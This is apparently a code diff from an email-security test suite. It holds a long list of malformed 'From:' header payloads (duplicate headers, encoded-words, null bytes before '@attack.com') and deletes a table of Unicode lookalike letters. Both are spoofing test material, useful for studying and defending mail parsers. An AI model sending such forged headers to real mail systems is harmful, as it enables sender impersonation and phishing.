"From:attacker@126.com\r\n", + "From: \r\nFrom:,(hi),\r\n", + " From: \r\nFrom:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + " From:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + "From :()\r\n", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20sLCwoDQopDQo==?=>", + "From: \r\nFrom:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBvdXRsb29rLmNvbSx3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QWxpY2VAMTM5LmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20uY24sKGNvbW1lbnQpDQo==?=>\u0000@attack.com", + "From: Alice@ymail.com.cn,,word,(comment)\r\n", + "From: \r\nFrom:key@foxmail.com\r\n", + "From:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + " FrOM: \r\nFrom:security@163.com\r\n", + " FrOM: \r\nFrom:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + " From: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tDQo==?=>", + " Fromÿ: \r\nFrom:,admin@icloud.com\r\n", + "From:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + "From: \r\nFrom:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From :Alice@live.com,(hi),word(comment)(comment)\r\n", + "From: \r\nFrom:Mike@msn.com\r\n", + "From: \r\nFrom:word(comm\r\nent),(hi)\r\n", + "From: <=?utf-8?RnJvbTo8TWlrZUBjaGluYS5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooKTxzZWN1cml0eUAxMzkuY29tPihjb21tZW50KSx3b3Jkd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBnbWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + "From :word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + " Fromÿ: \r\nFrom:(comment),security@msn.com,,,\r\n", + "From: \r\nFrom:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + " From:(\r\n),\r\n", + "From :(comment),(\r\n),webmaster@qq.com\r\n", + " FrOM: \r\nFrom:key@sina.com,key@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tLChjb21tZW50KSxhZG1pbkBtc24uY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + " From:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + " Fromÿ: \r\nFrom:key@foxmail.com\r\n", + "From: \r\nFrom:(comment)<@gmail.com:@b.com:security@ymail.com>,(comment)<@qq.com:@163.com:webmaster@msn.com>,()<@qq.com:@163.com:key@live.com>(\r\n)\r\n", + "From: ,Bob@ymail.com,wordword(comment)...()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206Qm9iQGdtYWlsLmNvbT4sd2VibWFzdGVyQDE2My5jb20sPEBnbWFpbC5jb206QGIuY29tOmtleUBjaGluYS5jb20+KGNvbW1lbnQpDQo==?=>", + "From: \r\nFrom:key@163.com,Alice@china.com\r\n", + "From: security@163.com\r\n", + " From: \r\nFrom:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + " From:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPGFkbWluQG91dGxvb2suY29tPix3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQG91dGxvb2suY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From:(),(\r\n)(),(hi),\r\n", + "From: <=?utf-8?RnJvbTosd29yZCgNCikoY29tbQ0KZW50KSgpPEBhLmNvbTpAYi5jb206c2VjdXJpdHlAbGl2ZS5jb20+LCwNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + "From: \r\nFrom:word<@a.com:@b.com:Bob@gmail.com>,webmaster@163.com,<@gmail.com:@b.com:key@china.com>(comment)\r\n", + " From: \r\nFrom:wordwordword\r\n", + " FrOM: \r\nFrom:,Alice@hotmail.com\r\n", + "From :webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + "From: Bob@sohu.com,\r\n", + "From: \r\nFrom:admin@sina.cn\r\n", + "From :Bob@163.com\r\n", + " From: \r\nFrom:(comment),(\r\n),webmaster@qq.com\r\n", + " Fromÿ: \r\nFrom:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + "From: hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From:word(),(),\r\n", + "From: key@foxmail.com\r\n", + "From: \r\nFrom:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From: \r\nFrom:wordwordwordword(),webmaster@china.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigpd29yZC4oY29tbWVudCl3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQGxpdmUuY29tPixCb2JAYWxpeXVuLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206TWlrZUBzb2h1LmNvbT4sTWlrZUAxMzkuY29tLHdlYm1hc3RlckAxNjMuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + "From: (\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sd2VibWFzdGVyQDEzOS5jb20NCg===?=>", + "From: (comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + " From: \r\nFrom:word..()(comm\r\nent)\r\n", + " FrOM: \r\nFrom:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKA0KKSx3ZWJtYXN0ZXJAcXEuY29tDQo==?=>", + "From :hr@top.com,Mike@sina.com\r\n", + " From: \r\nFrom:,Mike@china.com,\r\n", + " From: \r\nFrom:,hr@live.com,(comment)\r\n", + " From:word(\r\n)\r\n", + "From: webmaster@sina.cn\r\n", + " From:wordwordword\r\n", + "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoDQopPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LEFsaWNlQGNoaW5hLmNvbQ0K=?=>\u0000@attack.com", + "From:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + "From: \r\nFrom:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + "From:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + " From:webmaster@top.com\r\n", + " FrOM: \r\nFrom:word,,(comment),\r\n", + "From: \r\nFrom:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From: ,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From :webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From: \r\nFrom:Mike@ymail.com.cn,attacker@139.com\r\n", + " FrOM: \r\nFrom:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sQm9iQHRvcC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmhyQHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + " Fromÿ: \r\nFrom:Mike@msn.com\r\n", + " Fromÿ: \r\nFrom:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + "From :,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + " From:(\r\n),,webmaster@qq.com,\r\n", + "From: <=?utf-8?RnJvbTosa2V5QGljbG91ZC5jb20NCg===?=>", + "From:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: word(\r\n)(comment),attacker@gmail.com,\r\n", + "From :()\r\n", + " From: \r\nFrom:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOk1pa2VAcXEuY29tPihjb21tZW50KSxBbGljZUAxNjMuY29tLA0K=?=>", + " From: \r\nFrom:key@163.com,Alice@china.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUAxMzkuY29tDQo==?=>", + "From: word.(comment)\r\n", + " From: \r\nFrom:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooDQopLCx3ZWJtYXN0ZXJAcXEuY29tLA0K=?=>", + " From:security@sohu.com\r\n", + " From:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + "From:,,wordword,,\r\n", + "From :<@qq.com:@163.com:security@139.com>(comment)\r\n", + " From:attacker@sina.com,(hi),(comment),(comment)\r\n", + "From:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + " Fromÿ: \r\nFrom:admin@sina.cn\r\n", + "From:(comm\r\nent),(hi)\r\n", + "From :word(comment),(\r\n)\r\n", + "From:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sPGF0dGFja2VyQGljbG91ZC5jb20+DQo==?=>", + "From :Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSwoaGkpLChjb21tZW50KSw8Qm9iQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>", + "From: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tLGhyQGljbG91ZC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:()\r\n", + " From: \r\nFrom:admin@icloud.com,(comment),admin@msn.com\r\n", + "From:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQGhvdG1haWwuY29tPihjb21tZW50KSwsKGNvbW0NCmVudCksLCgNCiksDQo==?=>", + " Fromÿ: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + " From: \r\nFrom:attacker@outlook.com\r\n", + "From:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + "From:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + "From:,attacker@hotmail.com\r\n", + "From: \r\nFrom:hr@msn.com\r\n", + "From :\r\n", + "From: webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + "From: \r\nFrom:,Mike@china.com,\r\n", + " From:wordword()()\r\n", + " Fromÿ: \r\nFrom:attacker@sina.com,(hi),(comment),(comment)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAb3V0bG9vay5jb20NCg===?=>\u0000@attack.com", + "From :(hi),(hi)\r\n", + "From:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + " From: \r\nFrom:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + "From :<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + "From: \r\nFrom:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + " From:admin@sina.cn\r\n", + " FrOM: \r\nFrom:hr@126.com\r\n", + " FrOM: \r\nFrom:(comment)(\r\n),\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + " From: \r\nFrom:hr@live.com,Mike@outlook.com\r\n", + " From:attacker@sina.com\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + " Fromÿ: \r\nFrom:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + " Fromÿ: \r\nFrom:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8Qm9iQG1zbi5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8c2VjdXJpdHlAaG90bWFpbC5jb20+DQo==?=>", + " Fromÿ: \r\nFrom:Bob@sohu.com,\r\n", + " Fromÿ: \r\nFrom:key@sina.cn\r\n", + "From:,,(comm\r\nent),word()(comment)\r\n", + "From:word(comm\r\nent),(hi)\r\n", + " From: \r\nFrom:Alice@qq.com,Mike@qq.com\r\n", + " FrOM: \r\nFrom:Alice@ymail.com.cn,\r\n", + " From: \r\nFrom:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + "From: word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From: \r\nFrom:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTpockAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:hr@126.com\r\n", + " Fromÿ: \r\nFrom:,hr@live.com,,,(\r\n)\r\n", + "From: \r\nFrom:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + "From: Alice@outlook.com\r\n", + " Fromÿ: \r\nFrom:(),webmaster@ymail.com\r\n", + "From:attacker@sina.com,(hi),(comment),(comment)\r\n", + " FrOM: \r\nFrom:attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOmhyQGdtYWlsLmNvbT4sd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", + "From :hr@live.com,Mike@outlook.com\r\n", + "From: key@139.com,hr@msn.com\r\n", + " FrOM: \r\nFrom:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + " From: \r\nFrom:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " Fromÿ: \r\nFrom:attacker@gmail.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20sPEBxcS5jb206QDE2My5jb206QWxpY2VAc29odS5jb20+KCksaHJAMTYzLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAMTI2LmNvbT4oKQ0K=?=>", + "From: \r\nFrom:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + " From: \r\nFrom:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + "From:security@163.com\r\n", + "From: Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + "From:attacker@163.com,hr@icloud.com\r\n", + "From: (comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + "From: \r\nFrom:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + " From:word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jb20sa2V5QGZveG1haWwuY29tDQo==?=>", + "From :Mike@163.com,webmaster@139.com\r\n", + " From:(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + " Fromÿ: \r\nFrom:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From: key@163.com,Alice@china.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKCksKGhpKSxCb2JAMTM5LmNvbSwsKCksDQo==?=>", + " Fromÿ: \r\nFrom:,(hi),,,,\r\n", + "From: <=?utf-8?RnJvbTooKSxockBob3RtYWlsLmNvbSwsKA0KKSxhZG1pbkBmb3htYWlsLmNvbSwNCg===?=>\u0000@attack.com", + "From: hr@qq.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSwoaGkpLChjb21tZW50KSw8Qm9iQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: key@sina.com,key@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQ8YXR0YWNrZXJAaWNsb3VkLmNvbT4oY29tbWVudCksYWRtaW5AZm94bWFpbC5jb20sDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word.(comment)\r\n", + "From:\r\n", + "From:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word..()(comm\r\nent)\r\n", + "From: <@qq.com:@163.com:security@139.com>(comment)\r\n", + "From :wordword()\r\n", + " From: \r\nFrom:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + " From:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphZG1pbkB5bWFpbC5jb20+LEFsaWNlQDEyNi5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:Alice@ymail.com.cn,,word,(comment)\r\n", + " From: \r\nFrom:Mike@foxmail.com\r\n", + " FrOM: \r\nFrom:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From:(),word().\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOk1pa2VAY2hpbmEuY29tPigpLChjb21tZW50KTxCb2JAaG90bWFpbC5jb20+LE1pa2VAbXNuLmNvbQ0K=?=>", + "From :key@foxmail.com,\r\n", + "From:key@139.com,hr@msn.com\r\n", + " From: \r\nFrom:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From: admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From:,Alice@126.com,hr@gmail.com,,,\r\n", + "From :word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + " Fromÿ: \r\nFrom:()<@gmail.com:@b.com:key@top.com>\r\n", + "From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQHRvcC5jb20+DQo==?=>", + " FrOM: \r\nFrom:Mike@msn.com\r\n", + " Fromÿ: \r\nFrom:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + " From: \r\nFrom:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " From:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " Fromÿ: \r\nFrom:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + "From: <=?utf-8?RnJvbTooDQopLCwoDQopLDxAZ21haWwuY29tOkBiLmNvbTpockBzaW5hLmNuPigNCiksd29yZDxBbGljZUB5bWFpbC5jb20uY24+LHdvcmR3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206a2V5QGZveG1haWwuY29tPg0K=?=>", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckBvdXRsb29rLmNvbT4sYWRtaW5AbXNuLmNvbSxrZXlAMTYzLmNvbSx3ZWJtYXN0ZXJAbXNuLmNvbSxhdHRhY2tlckBob3RtYWlsLmNvbSxBbGljZUBhbGl5dW4uY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAMTI2LmNvbT4oKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + " Fromÿ: \r\nFrom:Mike@foxmail.com,hr@aliyun.com\r\n", + "From:\r\n", + "From: \r\nFrom:,(comment),,key@live.com,,(hi),\r\n", + "From: <=?utf-8?RnJvbTpCb2JAeW1haWwuY29tLCgpLGFkbWluQGNoaW5hLmNvbSx3b3Jkd29yZHdvcmR3b3JkPGtleUBsaXZlLmNvbT4oaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20sKGNvbW1lbnQpDQo==?=>\u0000@attack.com", + "From: security@china.com\r\n", + " Fromÿ: \r\nFrom:word(),(),\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + " FrOM: \r\nFrom:(),word().\r\n", + " From:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + "From :wordword(comm\r\nent)(\r\n)\r\n", + "From: \r\nFrom:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>", + " Fromÿ: \r\nFrom:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From:,admin@icloud.com\r\n", + "From: \r\nFrom:hr@139.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AY2hpbmEuY29tPigpDQo==?=>\u0000@attack.com", + " From: \r\nFrom:Mike@ymail.com.cn,attacker@139.com\r\n", + " From: \r\nFrom:Alice@ymail.com.cn,\r\n", + " Fromÿ: \r\nFrom:hr@live.com\r\n", + " Fromÿ: \r\nFrom:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBvdXRsb29rLmNvbSx3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QWxpY2VAMTM5LmNvbT4oY29tbWVudCkNCg===?=>", + " From: \r\nFrom:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + " From: \r\nFrom:word,,(comment),\r\n" + ] +} \ No newline at end of file diff --git a/config/similar.txt b/config/similar.txt deleted file mode 100755 index 69bd211..0000000 --- a/config/similar.txt +++ /dev/null @@ -1,1847 +0,0 @@ -A 0041 -Α 0391 -А 0410 -Ꭺ 13AA -ᗅ 15C5 -ꓮ A4EE -𐊠 102A0 -𖽀 16F40 -A FF21 -𝐀 1D400 -𝐴 1D434 -𝑨 1D468 -𝒜 1D49C -𝓐 1D4D0 -𝔄 1D504 -𝔸 1D538 -𝕬 1D56C -𝖠 1D5A0 -𝗔 1D5D4 -𝘈 1D608 -𝘼 1D63C -𝙰 1D670 -𝚨 1D6A8 -𝛢 1D6E2 -𝜜 1D71C -𝝖 1D756 -𝞐 1D790 -AA 0041 -Ꜳ A732 -AE 0041 -Æ 00C6 -Ӕ 04D4 -AO 0041 -Ꜵ A734 -AR 0041 -🜇 1F707 -AU 0041 -Ꜷ A736 -AV 0041 -Ꜹ A738 -Ꜻ A73A -AY 0041 -Ꜽ A73C -B 0042 -Β 0392 -В 0412 -Ᏼ 13F4 -ᗷ 15F7 -ꓐ A4D0 -𐊂 10282 -𐊡 102A1 -𐌁 10301 -Ꞵ A7B4 -B FF22 -ℬ 212C -𝐁 1D401 -𝐵 1D435 -𝑩 1D469 -𝓑 1D4D1 -𝔅 1D505 -𝔹 1D539 -𝕭 1D56D -𝖡 1D5A1 -𝗕 1D5D5 -𝘉 1D609 -𝘽 1D63D -𝙱 1D671 -𝚩 1D6A9 -𝛣 1D6E3 -𝜝 1D71D -𝝗 1D757 -𝞑 1D791 -C 0043 -С 0421 -Ꮯ 13DF -Ⲥ 2CA4 -ꓚ A4DA -𐊢 102A2 -𐌂 10302 -𐐕 10415 -🝌 1F74C -𐔜 1051C -𑣩 118E9 -𑣲 118F2 -Ⅽ 216D -C FF23 -Ϲ 03F9 -ℂ 2102 -ℭ 212D -𝐂 1D402 -𝐶 1D436 -𝑪 1D46A -𝒞 1D49E -𝓒 1D4D2 -𝕮 1D56E -𝖢 1D5A2 -𝗖 1D5D6 -𝘊 1D60A -𝘾 1D63E -𝙲 1D672 -C' 0043 -Cʽ 0043 -Ƈ 0187 -C̦ 0043 -С̦ 0421 -С̡ 0421 -Ҫ 04AA -Ç 00C7 -C⃫ 0043 -₡ 20A1 -D 0044 -Ꭰ 13A0 -ᗞ 15DE -ᗪ 15EA -ꓓ A4D3 -Ⅾ 216E -ⅅ 2145 -𝐃 1D403 -𝐷 1D437 -𝑫 1D46B -𝒟 1D49F -𝓓 1D4D3 -𝔇 1D507 -𝔻 1D53B -𝕯 1D56F -𝖣 1D5A3 -𝗗 1D5D7 -𝘋 1D60B -𝘿 1D63F -𝙳 1D673 -DZ 0044 -DZ 01F1 -Dz 0044 -Dz 01F2 -DŽ 0044 -DŽ 01C4 -Dž 0044 -Dž 01C5 -D̵ 0044 -Ð 00D0 -Đ 0110 -Ɖ 0189 -E 0045 -Ε 0395 -Е 0415 -Ꭼ 13AC -ⴹ 2D39 -ꓰ A4F0 -𐊆 10286 -⋿ 22FF -𑢦 118A6 -𑢮 118AE -E FF25 -ℰ 2130 -𝐄 1D404 -𝐸 1D438 -𝑬 1D46C -𝓔 1D4D4 -𝔈 1D508 -𝔼 1D53C -𝕰 1D570 -𝖤 1D5A4 -𝗘 1D5D8 -𝘌 1D60C -𝙀 1D640 -𝙴 1D674 -𝚬 1D6AC -𝛦 1D6E6 -𝜠 1D720 -𝝚 1D75A -𝞔 1D794 -E̸ 0045 -Ɇ 0246 -F 0046 -Ϝ 03DC -ᖴ 15B4 -ꓝ A4DD -𐊇 10287 -𐊥 102A5 -𝈓 1D213 -Ꞙ A798 -𐔥 10525 -𑢢 118A2 -𑣂 118C2 -ℱ 2131 -𝐅 1D405 -𝐹 1D439 -𝑭 1D46D -𝓕 1D4D5 -𝔉 1D509 -𝔽 1D53D -𝕱 1D571 -𝖥 1D5A5 -𝗙 1D5D9 -𝘍 1D60D -𝙁 1D641 -𝙵 1D675 -𝟊 1D7CA -FAX 0046 -℻ 213B -F̡ 0046 -F̦ 0046 -Ƒ 0191 -G 0047 -Ԍ 050C -Ꮐ 13C0 -Ᏻ 13F3 -ꓖ A4D6 -𝐆 1D406 -𝐺 1D43A -𝑮 1D46E -𝒢 1D4A2 -𝓖 1D4D6 -𝔊 1D50A -𝔾 1D53E -𝕲 1D572 -𝖦 1D5A6 -𝗚 1D5DA -𝘎 1D60E -𝙂 1D642 -𝙶 1D676 -G' 0047 -Gʽ 0047 -Ɠ 0193 -G̵ 0047 -Ǥ 01E4 -H 0048 -Η 0397 -Н 041D -Ꮋ 13BB -ᕼ 157C -Ⲏ 2C8E -ꓧ 